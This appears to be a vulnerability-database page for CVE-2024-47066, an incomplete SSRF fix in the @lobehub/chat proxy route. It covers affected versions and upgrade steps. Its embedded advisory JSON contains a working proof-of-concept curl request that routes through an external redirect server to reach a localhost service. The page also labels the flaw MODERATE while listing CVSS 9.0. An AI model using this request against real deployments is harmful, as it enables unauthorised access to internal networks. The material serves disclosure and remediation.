CVE-2024-47066: @lobehub/chat Lobe-chat Implemented An Insufficient Fix Vulnerability
MODERATECVE-2024-47066 is a MODERATE (CVSS 9.0) lobe-chat implemented an insufficient fix vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting @lobehub/chat libraries in the npm ecosystem. The issue involves lobe-chat implemented an insufficient fix for ghsa-mxhq-xw3g-rphc (cve-2024-32964). Remediation is available by upgrading affected packages to version 1.19.13.
CVE-2024-47066 at a Glance
Security Impact
CVSS: 9.0
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H).
How to Fix CVE-2024-47066
To remediate this vulnerability, upgrade all affected @lobehub/chat dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install @lobehub/chat@1.19.13
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls @lobehub/chat
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2024-47066, inspect your project dependencies using npm:
npm ls @lobehub/chat
Analyze the terminal output to locate any version of @lobehub/chat in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.19.13), your application is affected.
Note: The npm ls @lobehub/chat command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In @lobehub/chat, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-47066 Affected @lobehub/chat Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
@lobehub/chat
|
npm |
< 1.19.13
|
1.19.13
|
References
Frequently Asked Questions
What is CVE-2024-47066?
Which @lobehub/chat versions are affected?
What version fixes CVE-2024-47066?
Is @lobehub/chat affected?
What is the CVSS score of CVE-2024-47066?
What CWE is associated with CVE-2024-47066?
How can I check npm dependencies for CVE-2024-47066?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-3fc8-2r3f-8wrg",
"modified" : "2024-09-30T19:57:27Z",
"published" : "2024-09-23T20:30:11Z",
"aliases" : [ "CVE-2024-47066" ],
"summary" : "lobe-chat implemented an insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964)",
"details" : "### Summary\nSSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address.\n\n### PoC\n1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210;\n\n2. Create file dummy-server.js with the following content:\n```\nvar http = require('http');\nconsole.log(\"running server\");\nhttp.createServer(function (req, res) {\n console.log(req.url);\n res.writeHead(200, {'Content-Type': 'text/html'});\n res.end();\n}).listen(3001, 'localhost');\n\n```\nAnd run \n```\nnode dummy-server.js\n```\nas an example server inside of container [1] (or in containers private network).\n\n3. Run in terminal to perform request to lobe-chat instance from [1]\n\n```\ncurl --path-as-is -i -s -k -X $'POST' \\\n -H $'Host: 0.0.0.0:3210' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: http://0.0.0.0:3210/settings/agent?agent=&session=inbox&tab=' -H $'Content-Type: text/plain;charset=UTF-8' -H $'Content-Length: 74' -H $'Origin: http://0.0.0.0:3210' -H $'Connection: keep-alive' -H $'Priority: u=0' \\\n -b $'LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined' \\\n --data-binary $'http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337' \\\n $'http://0.0.0.0:3210/api/proxy'\n```\n\nwhere body contains url of server which redirects to internal network (in my case it redirects according url parameter).\n\n4. Observe in output of [2]\n```\nrunning server\n/iamssrf_1337\n```\n\n5. Attacker is able to perform SSRF attacks against lobe-chat despite https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts#L26 check.\n\n### Fix recommendations:\n1. Disable redirects - lobe-chat should consider explicitly disable redirects. \n2. If redirects support is required, perform check before each http request.\n\n### Impact\nhttps://portswigger.net/web-security/ssrf",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "@lobehub/chat"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "1.19.13"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 1.19.12"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-3fc8-2r3f-8wrg"
}, {
"type" : "WEB",
"url" : "https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-47066"
}, {
"type" : "WEB",
"url" : "https://github.com/lobehub/lobe-chat/commit/e960a23b0c69a5762eb27d776d33dac443058faf"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/lobehub/lobe-chat"
}, {
"type" : "WEB",
"url" : "https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2024-09-23T20:30:11Z",
"nvd_published_at" : "2024-09-23T16:15:06Z"
}
}